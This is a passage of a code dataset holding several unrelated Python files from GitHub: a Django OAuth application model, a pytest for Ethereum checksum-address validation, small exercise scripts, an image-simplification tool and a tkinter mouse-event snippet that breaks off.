'full text search' feature.\n # For more details please read:\n # https://docs.djangoproject.com/en/2.0/ref/contrib/postgres/search/\n return UserApplication.objects.annotate(\n search=SearchVector('name', 'description',),\n ).filter(search=keyword)\n\n def delete_all(self):\n for obj in UserApplication.objects.iterator(chunk_size=500):\n obj.delete()\n\n\nclass UserApplication(models.Model):\n \"\"\"\n Model used to track the user applications that exist in our system. The\n applications are `OAuth 2.0 Client credentials`. When an object gets created\n then this class will automatically create out `Application` model and\n when the object gets deleted then the `Application` gets deleted in the\n `foundation/signals.py` code.\n\n This file is dependent on the `Django OAuth Toolkit` so if there is anything\n not understood then please visit the library documentation via the link:\n https://django-oauth-toolkit.readthedocs.io/en/latest/index.html\n \"\"\"\n\n '''\n Metadata\n '''\n\n class Meta:\n app_label = 'foundation'\n db_table = 'mika_user_applications'\n verbose_name = _('User Application')\n verbose_name_plural = _('User Applications')\n default_permissions = ()\n permissions = ()\n\n '''\n Constants & Choices\n '''\n\n '''\n Object Managers\n '''\n\n objects = UserApplicationManager()\n\n '''\n Fields\n '''\n\n id = models.BigAutoField(\n _(\"ID\"),\n primary_key=True,\n )\n\n #\n # FIELDS\n #\n\n uuid = models.UUIDField(\n help_text=_('The unique identifier used by us to identify our OAuth application.'),\n default=uuid.uuid4,\n null=False,\n editable=False,\n db_index=True,\n unique=True,\n )\n user = models.ForeignKey(\n 'User',\n help_text=_('The user whom this application belongs to.'),\n related_name=\"user_applications\",\n on_delete=models.CASCADE,\n blank=False,\n null=False\n )\n slug = models.SlugField(\n _(\"Slug\"),\n help_text=_('The unique slug used for this application when accessing details page.'),\n max_length=127,\n blank=True,\n null=False,\n db_index=True,\n unique=True,\n editable=False,\n )\n name = models.CharField(\n _(\"Name\"),\n max_length=63,\n help_text=_('The name of this application.'),\n )\n description = models.TextField(\n _(\"Description\"),\n help_text=_('A a description of this application.'),\n )\n\n #\n # SYSTEM FIELDS\n #\n\n created_at = models.DateTimeField(auto_now_add=True, db_index=True)\n created_by = models.ForeignKey(\n 'User',\n help_text=_('The user whom created this application.'),\n related_name=\"created_user_applications\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n created_from = models.GenericIPAddressField(\n _(\"Created from\"),\n help_text=_('The IP address of the creator.'),\n blank=True,\n null=True\n )\n created_from_is_public = models.BooleanField(\n _(\"Is the IP \"),\n help_text=_('Is creator a public IP and is routable.'),\n default=False,\n blank=True\n )\n last_modified_at = models.DateTimeField(auto_now=True)\n last_modified_by = models.ForeignKey(\n 'User',\n help_text=_('The user whom last modified this application.'),\n related_name=\"last_modified_user_applications\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True\n )\n last_modified_from = models.GenericIPAddressField(\n _(\"Last modified from\"),\n help_text=_('The IP address of the modifier.'),\n blank=True,\n null=True\n )\n last_modified_from_is_public = models.BooleanField(\n _(\"Is the IP \"),\n help_text=_('Is modifier a public IP and is routable.'),\n default=False,\n blank=True\n )\n\n '''\n Methods\n '''\n\n def __str__(self):\n return str(self.slug)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Override the save function so we can add extra functionality.\n\n (1) If we created the object then we will generate a custom slug.\n (a) If user exists then generate slug based on user's name.\n (b) Else generate slug with random string.\n (c) Create our OAuth 2.0 Authorization Application.\n \"\"\"\n if not self.slug:\n count = UserApplication.objects.filter(user=self.user).count()\n count += 1\n\n # Generate our slug.\n self.slug = slugify(self.user)+\"-application-\"+str(count)\n\n # If a unique slug was not found then we will keep searching\n # through the various slugs until a unique slug is found.\n while UserApplication.objects.filter(slug=self.slug).exists():\n self.slug = slugify(self.user)+\"-application-\"+str(count)+\"-\"+get_random_string(length=8)\n\n # DEVELOPERS NOTE:\n # (1) We will be creating our OAuth 2.0 application here.\n # (2) We will be creating only a `confidential grant client credentials`\n # type of OAuth 2.0 authorization.\n # (3) While the `Django OAuth2 Toolkil` library supports creating\n # custom models using inheritence (see link: https://django-oauth-toolkit.readthedocs.io/en/latest/advanced_topics.html#extending-the-application-model)\n # we will avoid and just map the two models using a `uuid` value.\n # We are doing this to keep things simple.\n application, created = Application.objects.update_or_create(\n name=str(self.uuid),\n defaults={\n \"user\": self.user,\n \"name\": str(self.uuid),\n \"skip_authorization\": True,\n \"authorization_grant_type\": AbstractApplication.GRANT_CLIENT_CREDENTIALS,\n \"client_type\": AbstractApplication.CLIENT_CONFIDENTIAL\n }\n )\n\n super(UserApplication, self).save(*args, **kwargs)\n\n def get_absolute_url(self):\n return \"/application/\"+str(self.slug)\n","repo_name":"mikaponics/mikaponics-back","sub_path":"mikaponics/foundation/models/user_application.py","file_name":"user_application.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"30"} +{"seq_id":"30764508379","text":"\"\"\"\nThis file is part of nucypher.\n\nnucypher is free software: you can redistribute it and/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nnucypher is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with nucypher. If not, see .\n\"\"\"\n\nimport pytest\n\nfrom nulink.blockchain.eth.decorators import InvalidChecksumAddress, validate_checksum_address\n\n\ndef test_validate_checksum_address(get_random_checksum_address):\n\n # Simple case: just one parameter, called \"checksum_address\"\n @validate_checksum_address\n def just_one_address(checksum_address):\n return True\n\n with pytest.raises(InvalidChecksumAddress):\n just_one_address(\"0x_NOT_VALID\")\n\n with pytest.raises(TypeError):\n just_one_address(123)\n\n assert just_one_address(get_random_checksum_address())\n\n # More complex case: the parameter is optional\n @validate_checksum_address\n def optional_checksum_address(whatever, staking_address=None):\n return True\n\n with pytest.raises(InvalidChecksumAddress):\n optional_checksum_address(12, \"0x_NOT_VALID\")\n\n with pytest.raises(InvalidChecksumAddress):\n optional_checksum_address(\"whatever\", get_random_checksum_address().lower())\n\n assert optional_checksum_address(123)\n\n assert optional_checksum_address(None, staking_address=get_random_checksum_address())\n\n # Even more complex: there are multiple checksum addresses\n @validate_checksum_address\n def multiple_checksum_addresses(whatever, operator_address, staking_address=None):\n return True\n\n with pytest.raises(InvalidChecksumAddress):\n multiple_checksum_addresses(12, \"0x_NOT_VALID\")\n\n with pytest.raises(InvalidChecksumAddress):\n multiple_checksum_addresses(12, get_random_checksum_address(), \"0x_NOT_VALID\")\n\n with pytest.raises(InvalidChecksumAddress):\n multiple_checksum_addresses(12, \"0x_NOT_VALID\", get_random_checksum_address())\n\n with pytest.raises(TypeError):\n multiple_checksum_addresses(12, None)\n\n assert multiple_checksum_addresses(123, get_random_checksum_address(), None)\n assert multiple_checksum_addresses(123, get_random_checksum_address())\n\n assert multiple_checksum_addresses(42,\n operator_address=get_random_checksum_address(),\n staking_address=get_random_checksum_address())\n","repo_name":"NuLink-network/nulink-core","sub_path":"tests/unit/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"30"} +{"seq_id":"25340930537","text":"import copy\n\nN = int(input())\nA = []\nfor i in range(N):\n a = int(input())\n A.append(a)\n\nS = copy.deepcopy(A)\nS.sort()\n\nfirst = S[-1]\nsecond = S[-2]\n\nfor a in A:\n if a == first:\n print(second)\n else:\n print(first)\n","repo_name":"yoshikipom/atcoder","sub_path":"abc/134/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"35565305811","text":"#Таблицы\n\ndef print_operation_table(function, line, colum):\n if line is None:\n line = 9\n if colum is None:\n colum = 9\n for i in range(1, line + 1):\n print('\\n')\n for j in range(1, colum + 1):\n print(function(i, j), end='\\t')\nline = input('Количество строк: ')\ncolum = input('Количество столбцов: ')\nif line == '':\n line = None\nelse:\n line = int(line)\nif colum == '':\n colum = None\nelse:\n colum = int(colum)\nprint_operation_table(lambda x, y: x * y, line, colum)","repo_name":"irinas19/HW_Python_6","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"13623242035","text":"#!/usr/bin/env python3\n\nimport sys\nfrom application import handle_file, simplify, rgb\nfrom PIL import Image\n\ndef run_application():\n\n message = '''You must pass a file name and three integer values, like:\n `./make_simple FILENAME 2 3 4`'''\n try:\n assert len(sys.argv) == 5\n original_file_name = sys.argv[1]\n red_category_number = int(sys.argv[2])\n green_category_number = int(sys.argv[3])\n blue_category_number = int(sys.argv[4])\n except AssertionError:\n print(message)\n sys.exit()\n except TypeError:\n print(message)\n sys.exit()\n\n image_data, image_width, image_height = handle_file.load_file(original_file_name)\n\n rgb_categories = rgb.get_categories(red_category_number,green_category_number, blue_category_number)\n\n new_image_data = simplify.process_image_data(image_data, image_width, image_height, rgb_categories)\n\n rgb_string = '{}_{}_{}'.format(red_category_number, green_category_number, blue_category_number)\n\n handle_file.save_new_file(original_file_name, 'make_simple', rgb_string, new_image_data)\n\nrun_application()\n","repo_name":"JasonThomasData/python_image_editing","sub_path":"make_simple.py","file_name":"make_simple.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"6899611173","text":"from tkinter import *\n\n#event handler(이벤트 함수)\ndef click_mouse(event):\n \n print(event)\n\n txt_str = ''\n\n if event.num == 1:\n txt_str += '마우스 왼쪽 버튼이'\n elif event.num == 3:\n txt_str += '마우스 오른쪽쪽 버튼이'\n \n txt_str += '(' + str(event.x)+','+ str(event.y)+')에서 클릭되었습니다.'\n\n label_1.configure(text = txt_str)\n\n\n#위젯 \nwindow = Tk()\nwindow.geometry('300x300')\n\nlabel_1 = Label(window, text = '이곳의 텍스트가 변경됩니다.')\n\nwindow.bind('